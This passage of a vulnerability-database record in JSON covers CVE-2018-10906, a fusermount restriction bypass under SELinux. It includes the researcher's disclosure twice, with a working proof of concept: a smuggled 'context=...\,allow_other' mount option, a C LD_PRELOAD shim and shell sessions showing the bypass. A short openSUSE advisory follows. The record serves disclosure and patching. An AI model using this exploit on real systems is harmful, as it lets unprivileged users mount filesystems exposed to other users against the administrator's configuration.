\nuser@debian:~$ zip hello.zip hello.txt \nadding: hello.txt (stored 0%) \nuser@debian:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount \nuser@debian:~$ mount|grep /mount \nfuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other) \nuser@debian:~$ sudo bash \nroot@debian:/home/user# ls -laZ mount \ntotal 5 \ndrwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 . \ndrwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 .. \n-rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt \nroot@debian:/home/user# cat mount/hello.txt \nhello world \n=============================================== \n \n \nI have tested that this also works on Fedora (which, unlike Debian, has SELinux \nenabled by default.) \n \n \nUnfortunately, I only noticed that this was possible after I publicly sent some \nfusermount hardening patches (<a href=\"https://github.com/libfuse/libfuse/pull/268\" title=\"\" class=\"\" rel=\"nofollow\">https://github.com/libfuse/libfuse/pull/268</a>), \nwhen the maintainer asked a question about one of the patches. \n \n \nBreaking down the attack, the problems are: \n \n1. fusermount's do_mount() is written as if backslashes escape commas in mount \noptions; however, this is only true for the \"fsname\" and \"subtype\" \npseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE \nfilesystem follow those semantics. This means that an attacker can smuggle \na forbidden option through fusermount's checks if the previous option ends \nwith a backslash. However, no option accepted by the FUSE filesystem can end \nwith a backslash, so this seemed unexploitable at first. \nThis is fixed by the following commit in my pull request: \n<a href=\"https://github.com/libfuse/libfuse/pull/268/commits/455e73588357\" title=\"\" class=\"\" rel=\"nofollow\">https://github.com/libfuse/libfuse/pull/268/commits/455e73588357</a> \n2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain \nthe mount options understood by the SELinux and Smack LSMs. LSMs have the \nopportunity to grab mount options and make them invisible to the actual \nfilesystem through the security_sb_copy_data() security hook. \nFor this attack, I'm using the \"context\" option. \nThis is fixed by the following commit in my pull request: \n<a href=\"https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4\" title=\"\" class=\"\" rel=\"nofollow\">https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4</a> \n3. The SELinux LSM is slightly lax about parsing the level component of SELinux \ncontext strings when the policy uses Multi-Level Security (MLS). \nWhen using MLS, the format of a context string is \n\"<user>:<role>:<type>:<level>\"; the level component is parsed by \nmls_context_to_sid(). The level component is supposed to specify a \nsensitivity range (one or two parts delimited with '-'); each part of the \nrange may be followed by ':' and a category set specification. \nIf the sensitivity range consists of two parts and the second part of the \nrange is followed by a category set, the function incorrectly marks a \ntrailing '-' and any following data until ':' or '\\0' as consumed, but does \nnot actually parse this data. This allows an attacker to smuggle a backslash \nthrough. \n \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse \nor a patch has been made broadly available (whichever is earlier), the bug \nreport will become visible to the public. \n \n \n \nFound by: jannh \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/148749/GS20180730174043.txt"}], "zdt": [{"lastseen": "2018-07-30T20:25:39", "description": "Exploit for linux platform in category dos / poc", "edition": 1, "published": "2018-07-30T00:00:00", "title": "fusermount - user_allow_other Restriction Bypass and SELinux Label Control Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-10906"], "modified": "2018-07-30T00:00:00", "id": "1337DAY-ID-30799", "href": "https://0day.today/exploit/description/30799", "sourceData": "/*\r\nIt is possible to bypass fusermount's restrictions on the use of the\r\n\"allow_other\" mount option as follows if SELinux is active.\r\n \r\nHere's a minimal demo, tested on a Debian system with SELinux enabled in\r\npermissive mode:\r\n \r\n===============================================\r\n[email\u00a0protected]:~$ mount|grep /mount\r\n[email\u00a0protected]:~$ grep user_allow_other /etc/fuse.conf \r\n#user_allow_other\r\n[email\u00a0protected]:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/\r\nfusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf\r\n[email\u00a0protected]:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\\,allow_other' mount\r\nsending file descriptor: Bad file descriptor\r\n[email\u00a0protected]:~$ mount|grep /mount\r\n/dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)\r\n===============================================\r\n \r\nHere's a demo that actually mounts a real FUSE filesystem with allow_other,\r\nagain on a Debian system configured to use SELinux:\r\n===============================================\r\n[email\u00a0protected]:~$ cat fuse-shim.c\r\n*/\r\n \r\n#define _GNU_SOURCE\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n#include <stdlib.h>\r\nint execv(const char *path, char *const argv_[]) {\r\n char **argv = (void*)argv_; /* cast away const */\r\n for (char **argvp = argv; *argvp != NULL; argvp++) {\r\n char *arg = *argvp;\r\n for (char *p = arg; *p; p++) {\r\n if (*p == '#') *p = '\\\\';\r\n }\r\n }\r\n int (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, \"execv\");\r\n execv_real(path, argv_);\r\n}\r\n \r\n/*\r\n[email\u00a0protected]:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl\r\n[email\u00a0protected]:~$ echo hello world > hello.txt\r\n[email\u00a0protected]:~$ zip hello.zip hello.txt\r\n adding: hello.txt (stored 0%)\r\n[email\u00a0protected]:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount\r\n[email\u00a0protected]:~$ mount|grep /mount\r\nfuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)\r\n[email\u00a0protected]:~$ sudo bash\r\n[email\u00a0protected]:/home/user# ls -laZ mount\r\ntotal 5\r\ndrwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 .\r\ndrwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 ..\r\n-rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt\r\n[email\u00a0protected]:/home/user# cat mount/hello.txt\r\nhello world\r\n===============================================\r\n \r\n \r\nI have tested that this also works on Fedora (which, unlike Debian, has SELinux\r\nenabled by default.)\r\n \r\n \r\nUnfortunately, I only noticed that this was possible after I publicly sent some\r\nfusermount hardening patches (https://github.com/libfuse/libfuse/pull/268),\r\nwhen the maintainer asked a question about one of the patches.\r\n \r\n \r\nBreaking down the attack, the problems are:\r\n \r\n1. fusermount's do_mount() is written as if backslashes escape commas in mount\r\n options; however, this is only true for the \"fsname\" and \"subtype\"\r\n pseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE\r\n filesystem follow those semantics. This means that an attacker can smuggle\r\n a forbidden option through fusermount's checks if the previous option ends\r\n with a backslash. However, no option accepted by the FUSE filesystem can end\r\n with a backslash, so this seemed unexploitable at first.\r\n This is fixed by the following commit in my pull request:\r\n https://github.com/libfuse/libfuse/pull/268/commits/455e73588357\r\n2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain\r\n the mount options understood by the SELinux and Smack LSMs. LSMs have the\r\n opportunity to grab mount options and make them invisible to the actual\r\n filesystem through the security_sb_copy_data() security hook.\r\n For this attack, I'm using the \"context\" option.\r\n This is fixed by the following commit in my pull request:\r\n https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4\r\n3. The SELinux LSM is slightly lax about parsing the level component of SELinux\r\n context strings when the policy uses Multi-Level Security (MLS).\r\n When using MLS, the format of a context string is\r\n \"<user>:<role>:<type>:<level>\"; the level component is parsed by\r\n mls_context_to_sid(). The level component is supposed to specify a\r\n sensitivity range (one or two parts delimited with '-'); each part of the\r\n range may be followed by ':' and a category set specification.\r\n If the sensitivity range consists of two parts and the second part of the\r\n range is followed by a category set, the function incorrectly marks a\r\n trailing '-' and any following data until ':' or '\\0' as consumed, but does\r\n not actually parse this data. This allows an attacker to smuggle a backslash\r\n through.\r\n*/\n\n# 0day.today [2018-07-30] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/30799"}], "suse": [{"lastseen": "2018-10-23T16:31:01", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "This update for fuse fixes the following issues:\n\n - CVE-2018-10906: fusermount was vulnerable to a restriction bypass when\n SELinux is active. This allowed non-root users to mount a FUSE file\n system with the 'allow_other' mount option regardless of whether\n 'user_allow_other' is set in the fuse configuration. An attacker may use\n this flaw to mount a FUSE file system, accessible by other users, and\n trick them into accessing files on that file system, possibly causing\n Denial of Service or other unspecified effects (bsc#1101797)\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2018-10-23T15:27:32", "published": "2018-10-23T15:27:32", "id": "OPENSUSE-SU-2018:3325-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-10/msg00051.html", "title": "Security update for fuse (moderate)", "type": "suse", "cvss": {"score": 4.6, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-10-23T16:31:01", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "This update for fuse fixes the following security issue:\n\n - CVE-2018-10906: fusermount was vulnerable to a restriction bypass when\n SELinux is active. This allowed non-root users to mount a FUSE file\n system with the 'allow_other' mount option regardless of whether\n 'user_allow_other' is set in the fuse configuration. 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